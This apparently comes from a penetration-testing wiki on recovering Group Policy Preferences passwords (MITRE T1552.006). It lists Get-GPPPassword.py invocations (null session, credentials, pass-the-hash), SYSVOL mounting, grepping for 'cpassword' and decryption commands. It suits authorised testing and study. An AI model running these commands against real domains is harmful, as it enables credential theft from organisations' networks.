Group Policy Preferences
MITRE ATT&CK™ Sub-technique T1552.006
Theory
Practice
# with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
# with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
# pass-the-hash
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'# create the target directory for the mount
sudo mkdir /tmp/sysvol
# mount the SYSVOL share
sudo mount\
-o domain='domain.local'\
-o username='someuser'\
-o password='password'\
-t cifs\
'//domain_controller/SYSVOL'\
/tmp/sysvol
# recursively look for "cpassword" in Group Policies
sudo grep -ria cpassword /tmp/sysvol/'domain.local'/Policies/ 2>/dev/null
# decrypt the string and recover the password
pypykatz crypto gppass 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'Resources
Last updated